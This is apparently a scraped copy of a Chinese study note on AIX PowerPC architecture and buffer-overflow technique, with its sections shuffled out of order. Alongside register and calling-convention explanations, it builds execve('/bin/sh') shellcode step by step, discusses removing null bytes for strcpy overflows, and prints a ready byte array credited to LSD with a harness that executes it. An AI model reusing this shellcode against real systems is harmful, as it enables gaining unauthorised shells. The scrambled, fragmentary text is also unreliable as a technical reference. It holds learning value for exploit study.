PowerPC寄存器介绍
合集下载
相关主题
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
bash-2.04$ objdump -d simple_execve|more 0000000010000308 :
10000308: 7c a5 2a 79 xor. r5,r5,r5 1000030c: 40 82 ff fd bnel 10000308 10000310: 7c 68 02 a6 mflr r3 10000314: 38 63 00 20 cal r3,32(r3) 10000318: 90 61 ff f8 st r3,-8(r1) 1000031c: 90 a1 ff fc st r5,-4(r1) 10000320: 38 81 ff f8 cal r4,-8(r1) 10000324: 38 40 00 03 lil r2,3 10000328: 4c c6 33 42 crorc 6,6,6 1000032c: 44 00 00 02 svca 0 10000330: 2f 62 69 6e cmpi 6,r2,26990 10000334: 2f 73 68 00 cmpi 6,r19,26624
r12 它用在异常处理和glink(动态连接器)代码。 r13 保留作为系统线程ID。 r14-r31 作为本地变量,非易失性。
专用寄存器的用途:
lr 链接寄存器,它用来存放函数调用结束处的返回地址。 ctr 计数寄存器,它用来当作循环计数器,会随特定转移操作而递减。 xer 定点异常寄存器,存放整数运算操作的进位以及溢出信息。 msr 机器状态寄存器,用来配置微处理器的设定。 cr 条件寄存器,它分成8个4位字段,cr0-cr7,它反映了某个算法操作的结果并且提供条件分支的机 制。
1、分支(branch)指令 2、定点(fixed-point)指令 3、浮点(floating-point)指令 4、装载和存储指令 5、处理器控制指令
PowerPC的应用级寄存器分为三类:通用寄存器(general-purpose register,GPR)、浮点寄存器 (floating-point register [FPR] 和浮点状态与控制寄存器 [Floating-Point Status and Control Register ,FPSCR])和专用寄存器(special-purpose register,SPR)。gdb里的info registers能看到38个寄存器,下 面主要介绍这几个常用的寄存器:
}
编译后,用IDAPro反汇编,在Names window点击shellcode,并且按c强制反汇编:
.data:200006D8 .data:200006D8
shellcode:
# CODE XREF: .data:200006DC p # DATA XREF: .data:shellcode_TC o
.csect .text[PR]
.main:
xor. %r5, %r5, %r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
bnel .main
# 如果没有相等标志就进入分支并且把返回地址保存到lr寄存器,这里不会陷入
死循环
mflr %r3
# 等价于mfspr r3, 8,把lr寄存器的值拷贝到r3。这里r3寄存器的值就是这条指令的
地址
addi %r3, %r3, 32 # 上一条指令到/bin/sh字符串有8条指令,现在r3是/bin/sh字符串开始的地址
stw %r3, -8(%r1) # argv[0] = string 把r3写入堆栈
stw %r5, -4(%r1) # argv[1] = NULL 把0写入堆栈
subi %r4, %r1, 8 # r4指向argv[]
经过精简,发现如下这样的格式就足够了:
.globl .main .csect .text[PR] .main:
mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl .__main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31 L..2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */
li %r2, 3
# AIX 4.3的execve中断号是3
crorc %cr6, %cr6, %cr6 # 这个环境不加这条指令也能成功,lsd和IBM Aix PowerPC Assembler的svc
指令介绍都提到成功执行系统调用的前提是一个无条件的分支或CR指令。这条指令确保是CR指令。
svca 0
# execve(r3, r4, r5)
string:
# execve(path, argv[], NULL)
.asciz "/bin/sh"
bash-2.04$ gcc -o simple_execve simple_execve.s bash-2.04$ ./simple_execve $
正确执行了execve,用objdump查看一下它的opcode:
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */
"\x44\xff\xff\x02" /* svca
*/
"/bin/sh"
"\x03"
;
int main(void)
{
int jump[2]={(int)shellcode,0};
((*(void (*)())jump)());
可以看到有好几条指令的opcode包含了0,这对于strcpy等字符串操作函数导致的溢出会被截断,所以 需要编码或者相应指令的替换。不过我们注意到svca指令中间两个字节包含了0,幸好这两个字节是保 留字段,并没有被使用,可以用非0字节代替。PowerPC空指令nop的opcode是0x60000000,后面三个字
.extern __quous mflr 0 stw 31,-4(1) stw 0,8(1) stwu 1,-64(1) mr 31,1 bl .__main cror 31,31,31 li 3,0 bl .setuid cror 31,31,31 L..2: lwz 1,0(1) lwz 0,8(1) mtlr 0 lwz 31,-4(1) blr LT..main: .long 0 .byte 0,0,32,97,128,1,0,1 .long LT..main-.main .short 4 .byte "main" .byte 31 _section_.text: .csect .data[RW],3 .long _section_.text
通用寄存器的用途:
r0 在函数开始(function prologs)时使用。 r1 堆栈指针,相当于ia32架构中的esp寄存器,idapro把这个寄存器反汇编标识为sp。 r2 内容表(toc)指针,idapro把这个寄存器反汇编标识为rtoc。系统调用时,它包含系统调用号。 r3 作为第一个参数和返回地址。 r4-r10 函数或系统调用开始的参数。 r11 用在指针的调用和当作一些语言的环境指针。
mflr r31
# 等价于mfspr r31, 8,这里把lr寄存器的值拷贝到r31
.data:200006E4 3B FF 01 20
AIX PowerPC体系结构及其溢出技术学习笔记
文章地址:http://www.ykzj.org/article.php?articleid=1769
整理:san 创建:2004-05-23
Βιβλιοθήκη Baidu一、熟悉PowerPC体系及其精简指令集计算
PowerPC体系结构是RISC(精简指令集计算),定义了 200 多条指令。PowerPC 之所以是 RISC,原因 在于大部分指令在一个单一的周期内执行,而且是定长的32位指令,通常只执行一个单一的操作(比 如将内存加载到寄存器,或者将寄存器数据存储到内存)。差不多有12种指令格式,表现为5类主要的 指令:
寄存器r1、r14-r31是非易失性的,这意味着它们的值在函数调用过程保持不变。寄存器r2也算非易失 性,但是只有在调用函数在调用后必须恢复它的值时才被处理。
寄存器r0、r3-r12和特殊寄存器lr、ctr、xer、fpscr是易失性的,它们的值在函数调用过程中会发生变化 。此外寄存器r0、r2、r11和r12可能会被交叉模块调用改变,所以函数在调用的时候不能采用它们的值 。
*/
"\x40\x82\xff\xfd" /* bnel
*/
"\x7f\xe8\x02\xa6" /* mflr r31
*/
"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
条件代码寄存器字段cr0、cr1、cr5、cr6和cr7是易失性的。cr2、cr3和cr4是非易失性的,函数如果要改 变它们必须保存并恢复这些字段。
在AIX上,svca指令(sc是PowerPC的助记符)用来表示系统调用,r2寄存器指定系统调用号,r3-r10寄 存器是给该系统调用的参数。在执行系统调用指令之前有两个额外的先决条件:LR寄存器必须保存返 回系统调用地址的值并且在系统调用前执行crorc cr6, cr6, cr6指令。
setuid(0); }
用gcc的-S选项编译一下:
bash-2.04$ gcc -S setuid.c
在当前目录得到setuid.s:
.file "setuid.c" .toc .csect .text[PR] gcc2_compiled.: __gnu_compiled_c:
.align 2 .globl main .globl .main .csect main[DS] main: .long .main, TOC[tc0], 0 .csect .text[PR] .main: .extern __mulh .extern __mull .extern __divss .extern __divus .extern __quoss
.data:200006D8 7C A5 2A 79
xor. r5, r5, r5 # 把r5寄存器清空,并且在cr寄存器设置相等标志
.data:200006DC 40 82 FF FD
bnel shellcode # 如果没有相等标志就进入分支并且把返回地址保
存到lr寄存器,这里不会陷入死循环
.data:200006E0 7F E8 02 A6
三、学习AIX PowerPC的shellcode
B-r00t的PowerPC/OS X (Darwin) Shellcode Assembly写的非常通俗易懂,只可惜是OS X系统,不过现在 我们也可以依样画葫芦了:
bash-2.04$ cat simple_execve.s
.globl .main
二、学习AIX PowerPC汇编
由于对AIX PowerPC的汇编很不熟,所以借助gcc的-S来学习一下AIX的汇编。二进制的gcc可以 从http://aixpdslib.seas.ucla.edu/下载到。先写一个最小的C程序:
/* setuid.c
* * Learn AIX PowerPC assemble */ #include int main() {
节的0也是保留项,也可以用0x60606060来代替。lsd提供了一个可用的shellcode:
/* shellcode.c * * ripped from lsd */
char shellcode[] = /* 12*4+8 bytes
*/
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5